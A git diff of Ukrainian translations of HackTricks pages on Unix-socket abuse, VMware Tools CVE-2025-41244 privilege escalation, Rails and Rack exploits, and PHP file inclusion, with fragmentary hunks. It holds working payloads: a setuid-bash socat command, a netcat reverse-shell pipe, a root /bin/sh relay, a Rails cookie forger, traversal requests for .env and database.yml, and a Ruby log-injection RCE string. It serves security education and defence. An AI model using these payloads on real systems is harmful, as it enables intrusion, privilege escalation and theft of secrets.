+У наступному прикладі **unix socket створюється** (`/tmp/socket_test.s`), і все, що **отримується**, буде **виконане** за допомогою `os.system`. Я знаю, що ви навряд чи знайдете це в реальному житті, але мета цього прикладу — побачити, як виглядає код, що використовує unix sockets, і як обробляти вхідні дані у найгіршому можливому випадку.
```python:s.py
import socket
import os, os.path
@@ -26,7 +26,7 @@ print(datagram)
os.system(datagram)
conn.close()
```
-**Виконайте** код за допомогою python: `python s.py` і **перевірте, як socket прослуховує**:
+**Виконайте** код за допомогою python: `python s.py` і **перевірте, як socket слухає**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
@@ -39,13 +39,13 @@ echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat -
```
## Кейс: Root-owned UNIX socket signal-triggered escalation (LG webOS)
-Деякі привілейовані демони відкривають root-owned UNIX socket, який приймає untrusted input і пов'язує привілейовані дії з thread-IDs та signals. Якщо протокол дозволяє unprivileged client впливати на те, який native thread буде ціллю, ви можете зуміти викликати привілейований код і escalate.
+Деякі привілейовані демони відкривають root-owned UNIX socket, який приймає ненадійний ввід і пов'язує привілейовані дії з thread-IDs та signals. Якщо протокол дозволяє непривілейованому клієнту впливати на те, який native thread буде націлений, ви можете спровокувати виконання привілейованого коду і підвищити привілеї.
-Спостережуваний шаблон:
+Спостережуваний патерн:
- Підключитися до root-owned socket (e.g., /tmp/remotelogger).
- Створити thread і отримати його native thread id (TID).
-- Надіслати TID (packed) плюс padding як запит; отримати acknowledgement.
-- Надіслати конкретний signal цьому TID, щоб trigger привілейовану поведінку.
+- Відправити TID (packed) плюс padding як запит; отримати підтвердження.
+- Надіслати конкретний сигнал цьому TID, щоб викликати привілейовану поведінку.
Мінімальний PoC ескіз:
```python
@@ -59,14 +59,13 @@ s.sendall(struct.pack('&1 | nc 23231 > /tmp/f
```
-Примітки:
-- Цей клас помилок виникає через довіру до значень, отриманих із непривілейованого стану клієнта (TIDs), і прив'язування їх до привілейованих signal handlers або логіки.
-- Зміцніть безпеку, вимагаючи credentials на socket, перевіряючи формати повідомлень та відокремлюючи привілейовані операції від зовні переданих thread identifiers.
+- Цей клас багів виникає через довіру до значень, отриманих із непривілейованого стану клієнта (TIDs), та прив'язку їх до привілейованих обробників сигналів або логіки.
+- Посилюйте захист, застосовуючи перевірку credentials на socket, валідацію форматів повідомлень та відокремлення привілейованих операцій від зовнішньо наданих thread identifiers.
## Посилання
diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
index 872cde375..4d15aab67 100644
--- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
+++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
@@ -2,22 +2,22 @@
{{#include ../../banners/hacktricks-training.md}}
-Ця техніка зловживає пайплайнами виявлення сервісів, керованими regex, які розбирають командні рядки запущених процесів, щоб визначити версії сервісів, а потім запускають кандидатний бінарний файл з прапорцем "version". Коли дозволяючі шаблони приймають ненадійні, керовані атакуючим шляхи (наприклад, /tmp/httpd), привілейований колектор виконує довільний бінарний файл з ненадійного розташування, що призводить до локального підвищення привілеїв. NVISO задокументувала це в VMware Tools/Aria Operations Service Discovery як CVE-2025-41244.
+Ця техніка зловживає конвеєрами service discovery, керованими regex, які парсять командні рядки запущених процесів, щоб визначити версії сервісів, а потім виконують кандидатний бінарник з прапорцем "version". Коли занадто дозволяючі патерни приймають ненадійні, атакуючим керовані шляхи (наприклад, /tmp/httpd), привілейований колектор виконує довільний бінарник з ненадійного розташування, що призводить до local privilege escalation. NVISO задокументувала це в VMware Tools/Aria Operations Service Discovery як CVE-2025-41244.
-- Вплив: локальне підвищення привілеїв до root (або до привілейованого облікового запису для виявлення)
-- Причина: Untrusted Search Path (CWE-426) + надмірно широка відповідність regex командних рядків процесів
-- Затронуті: open-vm-tools/VMware Tools на Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
+- Impact: Local privilege escalation to root (or to the privileged discovery account)
+- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
+- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
-## Як працює виявлення сервісів VMware (на високому рівні)
+## How VMware service discovery works (high level)
-- Credential-based (legacy): Aria виконує скрипти виявлення всередині гостьової ОС через VMware Tools, використовуючи налаштовані привілейовані облікові дані.
-- Credential-less (modern): Логіка виявлення працює в межах VMware Tools, які вже мають привілеї в гостьовій системі.
+- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials.
+- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest.
-Обидва режими в кінцевому підсумку виконують shell логіку, яка сканує процеси з прослуховуючими сокетами, витягує відповідний шлях команди за допомогою regex і виконує перший токен argv з прапорцем версії.
+Обидва режими в кінцевому підсумку виконують shell-логіку, яка сканує процеси з прослуховувальними сокетами, витягує відповідний шлях до команди за допомогою regex і виконує перший токен argv з прапорцем version.
## Root cause and vulnerable pattern (open-vm-tools)
-В open-vm-tools скрипт плагіна serviceDiscovery get-versions.sh знаходить кандидатні бінарні файли за допомогою широких регулярних виразів та виконує перший токен без будь-якої перевірки довіреного шляху:
+В open-vm-tools, плагін serviceDiscovery — скрипт get-versions.sh — знаходить кандидатні бінарні файли за широкими регулярними виразами і виконує перший токен без будь-якої валідації довіреного шляху:
```bash
get_version() {
PATTERN=$1
@@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
done
}
```
-Викликається з дозволяючими шаблонами, що містять \S (непробільні символи), які з легкістю відповідатимуть не-системним шляхам у розташуваннях, доступних для запису користувачем:
+Викликається з дозволяючими шаблонами, що містять \S (непробільний символ), які охоче відповідатимуть несистемним шляхам у місцях, доступних для запису користувачем:
```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
@@ -38,23 +38,23 @@ get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
```
-- Витяг відбувається за допомогою grep -Eo і бере перший токен: ${COMMAND%%[[:space:]]*}
+- Екстракція використовує grep -Eo і бере перший токен: ${COMMAND%%[[:space:]]*}
- Немає whitelist/allowlist довірених системних шляхів; будь-який виявлений listener з відповідною назвою виконується з -v/--version
-This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
+This creates an untrusted search path execution primitive: довільні бінарні файли, розташовані в директоріях з доступом для запису для всіх (наприклад, /tmp/httpd), виконуються привілейованим компонентом.
-## Exploitation (both credential-less and credential-based modes)
+## Експлуатація (як без облікових даних, так і з обліковими даними)
Передумови
-- Ви можете запустити непривілейований процес, який відкриває прослуховувальний сокет на гості.
-- Завдання виявлення увімкнено і запускається періодично (історично ~5 хвилин).
+- Ви можете запустити непривілейований процес, який відкриває слухаючий сокет на гостьовій ОС.
+- Завдання discovery увімкнене і виконується періодично (історично ~5 хвилин).
Кроки
-1) Розмістіть двійник у шляху, що відповідає одному з дозволяючих регулярних виразів, наприклад /tmp/httpd або ./nginx
-2) Запустіть його від імені користувача з низькими привілеями і переконайтеся, що він відкриває прослуховувальний сокет
-3) Зачекайте цикл виявлення; привілейований колектор автоматично виконає: /tmp/httpd -v (або подібне), запустивши вашу програму як root
+1) Розмістіть бінарний файл у шляху, що відповідає одному з дозволених регулярних виразів, наприклад /tmp/httpd або ./nginx
+2) Запустіть його від імені користувача з низькими привілеями і переконайтеся, що він відкриває будь-який слухаючий сокет
+3) Зачекайте на цикл discovery; привілейований collector автоматично виконає: /tmp/httpd -v (або подібне), запустивши вашу програму як root
-Мінімальна демонстрація (за підходом NVISO’s)
+Мінімальний демонстраційний приклад (використовуючи підхід NVISO)
```bash
# Build any small helper that:
# - default mode: opens a dummy TCP listener
@@ -65,61 +65,61 @@ chmod +x /tmp/httpd
/tmp/httpd # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action
```
-Типовий ланцюг процесів
-- З обліковими даними: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
-- Без облікових даних: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
+Типова послідовність процесів
+- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
+- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
-Артефакти (з обліковими даними)
-Відновлені SDMP wrapper scripts під /tmp/VMware-SDMP-Scripts-{UUID}/ можуть показувати пряме виконання зловмисного шляху:
+Артефакти (credential-based)
+Відновлені SDMP wrapper scripts у /tmp/VMware-SDMP-Scripts-{UUID}/ можуть показувати пряме виконання зловмисного шляху:
```bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
```
-## Узагальнення техніки: regex-driven discovery abuse (portable pattern)
+## Узагальнення техніки: regex-driven discovery abuse (портативний шаблон)
-Багато агентів і систем моніторингу реалізують виявлення версій/сервісів шляхом:
-- Перерахування процесів з прослуховуючими сокетами
-- Пошуку в argv/command lines за допомогою permissive regex (наприклад, патерни, що містять \S)
-- Запуску знайденого шляху з безпечним прапорцем типу -v, --version, -V, -h
+Багато агентів та систем моніторингу реалізують виявлення версій/сервісів шляхом:
+- Перелічення процесів з прослуховуваними сокетами
+- Перевірки argv/рядків команд з використанням дозволяючих regex-виразів (наприклад, шаблонів, що містять \S)
+- Виконання співпадаючого шляху з нешкідливим прапорцем, наприклад -v, --version, -V, -h
-Якщо regex приймає ненадійні шляхи і шлях виконується з привілейованого контексту, отримуємо CWE-426 Untrusted Search Path execution.
+Якщо regex приймає ненадійні шляхи, а шлях виконується з привілейованого контексту, це призводить до CWE-426 Untrusted Search Path execution.
Abuse recipe
-- Назвіть свій бінарний файл як звичні демони, які regex ймовірно знайде: httpd, nginx, mysqld, dataserver
+- Назвіть свій бінарний файл подібно до загальних демонів, які regex імовірно співпаде з: httpd, nginx, mysqld, dataserver
- Розмістіть його в записуваному каталозі: /tmp/httpd, ./nginx
-- Переконайтесь, що воно співпадає з regex і відкриває порт для виявлення
-- Зачекайте на плановий колектор; отримаєте автоматичний привілейований виклик -v
+- Переконайтеся, що він відповідає regex і відкриває будь-який порт, щоб його могли виявити
+- Чекайте на запланований collector; ви отримаєте автоматичний привілейований виклик -v
-Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
+Masquerading note: Це відповідає MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) для збільшення ймовірності співпадіння та прихованості.
-Reusable privileged I/O relay trick
-- Побудуйте допоміжну програму так, щоб при виклику з привілеями (-v/--version) вона підключалась до відомої точки зустрічі (наприклад, a Linux abstract UNIX socket like @cve) і мостила stdio до /bin/sh -i. Це уникає артефактів на диску і працює в багатьох середовищах, де той самий бінарний файл повторно викликається з прапорцем.
+Повторно використовуваний трюк релейного привілейованого I/O
+- Побудуйте свій helper так, щоб при привілейованому виклику (-v/--version) він підключався до відомого rendezvous (наприклад, абстрактного Linux UNIX-сокета на кшталт @cve) і мостив stdio до /bin/sh -i. Це уникає артефактів на диску і працює в багатьох середовищах, де той самий бінар повторно викликається з прапором.
-## Detection and DFIR guidance
+## Виявлення та керівництво DFIR
-Hunting queries
+Пошукові запити
- Незвичні дочірні процеси vmtoolsd або get-versions.sh, такі як /tmp/httpd, ./nginx, /tmp/mysqld
-- Будь-яке виконання discovery-скриптами абсолютних шляхів поза системними префіксами (шукайте пробіли в розширеннях ${COMMAND%%...})
-- ps -ef --forest для візуалізації дерев спадкоємності: vmtoolsd -> get-versions.sh ->
+- Будь-яке виконання абсолютних шляхів не з системних префіксів скриптами виявлення (шукайте пробіли в розгортаннях ${COMMAND%%...})
+- ps -ef --forest для візуалізації дерева предків: vmtoolsd -> get-versions.sh ->
-On Aria SDMP (credential-based)
-- Перевірте /tmp/VMware-SDMP-Scripts-{UUID}/ на предмет тимчасових скриптів та артефактів stdout/stderr, що показують виконання шляхів нападника
+У Aria SDMP (на основі облікових даних)
+- Перевірте /tmp/VMware-SDMP-Scripts-{UUID}/ на предмет тимчасових скриптів та артефактів stdout/stderr, що показують виконання шляхів атакуючого
-Policy/telemetry
-- Сповіщення при виконанні привілейованих колекторів з не-системних префіксів: ^/(tmp|home|var/tmp|dev/shm)/
-- Моніторинг цілісності файлів get-versions.sh та VMware Tools plugins
+Політика/телеметрія
+- Сигналізувати, коли привілейовані collectors виконуються з несистемних префіксів: ^/(tmp|home|var/tmp|dev/shm)/
+- Моніторинг цілісності файлів для get-versions.sh та плагінів VMware Tools
-## Mitigations
+## Міри пом'якшення
-- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
-- Вимкніть або обмежте discovery без облікових даних там, де можливо
-- Перевіряйте довірені шляхи: обмежте виконання дозволеними директоріями (/usr/sbin, /usr/bin, /sbin, /bin) і лише точними відомими бінарними файлами
-- Уникайте permissive regex з \S; віддавайте перевагу анкерованим, явним абсолютним шляхам і точним іменам команд
-- Знижуйте привілеї для discovery helper-ів де можливо; використовуйте sandbox (seccomp/AppArmor) щоб зменшити вплив
-- Моніторьте та сповіщайте про виконання vmtoolsd/get-versions.sh не-системних шляхів
+- Patch: застосуйте оновлення Broadcom/VMware для CVE-2025-41244 (Tools and Aria Operations SDMP)
+- Вимкніть або обмежте виявлення без облікових даних там, де це можливо
+- Перевіряйте довірені шляхи: обмежуйте виконання до дозволених каталогів (/usr/sbin, /usr/bin, /sbin, /bin) та лише до точно відомих бінарів
+- Уникайте дозволяючих regex-виразів з \S; віддавайте перевагу заякореним, явним абсолютним шляхам та точним іменам команд
+- Знижуйте привілеї для допоміжних процесів виявлення там, де можливо; ізолюйте в sandbox (seccomp/AppArmor), щоб зменшити наслідки
+- Моніторьте та сигналізуйте, коли vmtoolsd/get-versions.sh виконує несистемні шляхи
-## Notes for defenders and implementers
+## Примітки для захисників та впроваджувачів
-Більш безпечний шаблон для пошуку і виконання
+Більш безпечний шаблон відповідності та виконання
```bash
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
@@ -135,7 +135,7 @@ case "$candidate" in
;;
esac
```
-## Джерела
+## Посилання
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
index ea499b20b..d913f2a6b 100644
--- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md
+++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
@@ -2,50 +2,50 @@
{{#include ../../banners/hacktricks-training.md}}
-## Завантаження файлу для RCE
+## Завантаження файлу до RCE
-As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
+Як пояснено в [this article](https://www.offsec.com/blog/cve-2024-46986/), завантаження файлу `.rb` у чутливі директорії, такі як `config/initializers/`, може призвести до remote code execution (RCE) у Ruby on Rails застосунках.
Поради:
-- Інші boot/eager-load локації, які виконуються при старті додатка, також небезпечні, якщо доступні на запис (наприклад, `config/initializers/` — класичний випадок). Якщо ви знайдете довільне завантаження файлу, яке потрапляє будь-куди під `config/` і пізніше буде evaluated/required, ви можете отримати RCE під час boot.
-- Шукайте dev/staging builds, які копіюють user-controlled файли в образ контейнера, де Rails завантажить їх при boot.
+- Інші місця завантаження/eager-load, які виконуються при старті додатку, також небезпечні, якщо вони записувані (наприклад, `config/initializers/` — класичний випадок). Якщо знайдете довільне завантаження файлу, яке потрапляє кудись під `config/` і потім оцінюється/required, можна отримати RCE при старті.
+- Шукайте dev/staging збірки, які копіюють керовані користувачем файли в образ контейнера, де Rails завантажить їх при старті.
## Active Storage image transformation → command execution (CVE-2025-24293)
-When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
+Коли застосунок використовує Active Storage з `image_processing` + `mini_magick` і передає ненадійні параметри до методів трансформації зображень, версії Rails до 7.1.5.2 / 7.2.2.2 / 8.0.2.1 можуть дозволяти command injection, оскільки деякі методи трансформації помилково були дозволені за замовчуванням.
-- A vulnerable pattern looks like:
+- Уразливий паттерн виглядає так:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
-where `params[:t]` and/or `params[:v]` are attacker-controlled.
+де `params[:t]` та/або `params[:v]` контролюються атакуючим.
-- What to try during testing
-- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
-- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
-- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
+- Що спробувати під час тестування
+- Ідентифікуйте будь-які ендпоінти, що приймають опції variant/processing, імена трансформацій або довільні аргументи ImageMagick.
+- Фаззуйте `params[:t]` та `params[:v]` для виявлення підозрілих помилок або побічних ефектів виконання. Якщо можете впливати на ім’я методу або передавати сирі аргументи, що доходять до MiniMagick, можна отримати code exec на хості обробки зображень.
+- Якщо у вас лише доступ для читання згенерованих варіантів, спробуйте сліпий ексфільтраційний канал через crafted ImageMagick операції.
-- Remediation/detections
-- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
+- Виправлення/детекція
+- Якщо бачите Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 з Active Storage + `image_processing` + `mini_magick` і керованими користувачем трансформаціями, вважайте це експлуатованим. Рекомендується оновити і запровадити суворі allowlists для методів/параметрів та жорстку політику ImageMagick.
## Rack::Static LFI / path traversal (CVE-2025-27610)
-If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
+Якщо стек цілі використовує Rack middleware безпосередньо або через фреймворки, версії `rack` до 2.2.13, 3.0.14 і 3.1.12 дозволяють Local File Inclusion через `Rack::Static`, коли `:root` не встановлено/неправильно налаштовано. Закодована traversal в `PATH_INFO` може показати файли під робочою директорією процесу або під несподіваним root.
-- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
+- Шукайте додатки, що монтують `Rack::Static` у `config.ru` або стеку middleware. Спробуйте закодовані traversal проти static шляхів, наприклад:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
-Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
+Підлаштуйте префікс під налаштовані `urls:`. Якщо додаток відповідає вмістом файлу, ймовірно у вас є LFI до всього під резольвеним `:root`.
-- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
+- Мітігація: оновіть Rack; переконайтеся, що `:root` вказує лише на директорію публічних файлів і встановлений явно.
-## Forging/decrypting Rails cookies when `secret_key_base` is leaked
+## Підробка/дешифрування Rails cookies коли `secret_key_base` leaked
-Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
+Rails шифрує та підписує cookies, використовуючи ключі, похідні від `secret_key_base`. Якщо це значення leaks (наприклад, у репозиторії, логах або неправильно налаштованих credentials), зазвичай можна розшифрувати, змінити і повторно зашифрувати cookies. Це часто призводить до обходу authz, якщо додаток зберігає ролі, user IDs або feature flags у cookie.
-Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
+Мінімальний Ruby код для дешифрування та повторного шифрування сучасних cookies (AES-256-GCM, за замовчуванням у останніх Rails):
```ruby
require 'cgi'
require 'json'
@@ -70,13 +70,13 @@ plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
-Notes:
-- Старі додатки можуть використовувати AES-256-CBC та солі `encrypted cookie` / `signed encrypted cookie`, або серіалізатори JSON/Marshal. Відповідно налаштуйте солі, шифр і серіалізатор.
-- У разі компрометації/оцінювання змініть `secret_key_base`, щоб зробити недійсними всі існуючі cookies.
+Примітки:
+- Старіші додатки можуть використовувати AES-256-CBC та солі `encrypted cookie` / `signed encrypted cookie`, або JSON/Marshal серіалізатори. Відповідно відкоригуйте солі, cipher і serializer.
+- У разі компрометації/оцінки, rotate `secret_key_base`, щоб інвалідувати всі існуючі cookies.
-## Див. також (вразливості специфічні для Ruby/Rails)
+## Див. також (Ruby/Rails-specific vulns)
-- Ruby deserialization та class pollution:
+- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
@@ -86,15 +86,90 @@ Notes:
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
-- Template injection у Ruby engines (ERB/Haml/Slim тощо):
+- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
+## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
+Коли додаток (часто простий Rack/Sinatra/Rails endpoint) одночасно:
+- записує рядок, контрольований користувачем, дослівно, та
+- пізніше `load`-ить файл, шлях до якого отримано з того ж рядка (після `Pathname#cleanpath`),
+
+Часто можна досягти remote code execution, отруївши лог і змусивши додаток `load` файл логу. Ключові примітиви:
+
+- Ruby `load` виконує вміст цільового файлу як Ruby незалежно від розширення файлу. Будь-який читабельний текстовий файл, вміст якого розбирається як Ruby, буде виконаний.
+- `Pathname#cleanpath` згортає сегменти `.` і `..` без звернення до файлової системи, дозволяючи path smuggling: керований атакуючим мотлох може бути додано попереду для логування, тоді як очищений шлях все ще вказує на потрібний файл для виконання (наприклад, `../logs/error.log`).
+
+### Minimal vulnerable pattern
+```ruby
+require 'logger'
+require 'pathname'
+
+logger = Logger.new('logs/error.log')
+param = CGI.unescape(params[:script])
+path_obj = Pathname.new(param)
+
+logger.info("Running backup script #{param}") # Raw log of user input
+load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
+```
+### Чому лог може містити валідний Ruby
+`Logger` записує префіксні рядки, наприклад:
+```
+I, [9/2/2025 #209384] INFO -- : Running backup script
+```
+У Ruby `#` починає коментар, а `9/2/2025` — це просто арифметика.
+Щоб інжектувати валідний Ruby код, потрібно:
+- Почніть payload з нового рядка, щоб він не був закоментований `#` у рядку INFO; надішліть провідний символ нового рядка (`\n` або `%0A`).
+- Закрийте незакриту `[` введену в рядку INFO. Звичний трюк — почати з `]` і за бажанням зробити парсер задоволеним `][0]=1`.
+- Потім додайте довільний Ruby код (наприклад, `system(...)`).
+
+Приклад того, що в кінцевому підсумку опиниться в логах після одного запиту з crafted param:
+```
+I, [9/2/2025 #209384] INFO -- : Running backup script
+][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
+```
+### Приховання одного рядка, який одночасно записує код у лог і резольвиться у шлях до логу
+Нам потрібен один рядок, контрольований атакуючим, який:
+- при логуванні у сирому вигляді містить наш Ruby payload, та
+- коли пропускається через `Pathname.new().cleanpath`, резольвиться до `../logs/error.log`, тож наступний `load` виконає щойно підмінений лог-файл.
+
+`Pathname#cleanpath` ігнорує схеми та згортає компоненти обходу директорій, тож наступне працює:
+```ruby
+require 'pathname'
+
+p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
+puts p.cleanpath # => ../logs/error.log
+```
+- Символ `#` перед `://` змушує Ruby ігнорувати хвіст під час виконання логу, тоді як `cleanpath` все ще скорочує суфікс до `../logs/error.log`.
+- Провідний символ нового рядка виводить з рядка INFO; `]` закриває завислу дужку; `][0]=1` задовольняє парсер.
+
+### End-to-end exploitation
+1. Надішліть наступне як ім'я скрипту резервного копіювання (за потреби URL-кодуйте перший символ нового рядка як `%0A`):
+```
+\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
+```
+2. Додаток записує ваш необроблений рядок у `logs/error.log`.
+3. Додаток обчислює `cleanpath`, який резольвується в `../logs/error.log`, і викликає `load` на ньому.
+4. Ruby виконує код, який ви вставили в лог.
+
+To exfiltrate a file in a CTF-like environment:
+```
+\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
+```
+URL-encoded PoC (перший символ — перенос рядка):
+```
+%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
+```
## Посилання
-- Оголошення безпеки Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+- Оголошення безпеки Rails: CVE-2025-24293 — небезпечні методи трансформації Active Storage (виправлено у 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
+- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
+- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
+- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
index 5dfce6769..0ac2ef4fe 100644
--- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
+++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
@@ -13,7 +13,7 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
-Якщо ви знайдете дійсні облікові дані, ви можете використати більше metasploit scanner modules для отримання інформації.
+Якщо ви знайдете дійсні облікові дані, ви можете використати додаткові metasploit scanner modules для отримання інформації.
diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
index 7d2e45a2f..9a53a6198 100644
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@@ -4,14 +4,14 @@
## File Inclusion
-**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Перевага: ви можете написати код, і сервер його виконає). У php це за замовчуванням **відключено** (**allow_url_include**).\
+**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Найкраще: ви можете написати код і сервер його виконає). У php це **відключено** за замовчуванням (**allow_url_include**).\
**Local File Inclusion (LFI):** Сервер завантажує локальний файл.
-Вразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажено сервером.
+Вразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером.
-Уразливі **PHP functions**: require, require_once, include, include_once
+Вразливі **PHP функції**: require, require_once, include, include_once
-Цікавий інструмент для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
+Цікаве рішення для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
-**Комбінуючи кілька \*nix LFI списків і додаючи більше шляхів, я створив цей:**
+**Об'єднавши кілька \*nix LFI списків та додавши більше шляхів, я створив цей:**
{{#ref}}
@@ -29,11 +29,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
Спробуйте також змінити `/` на `\`\
Спробуйте також додати `../../../../../`
-Список, який використовує кілька технік для пошуку файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
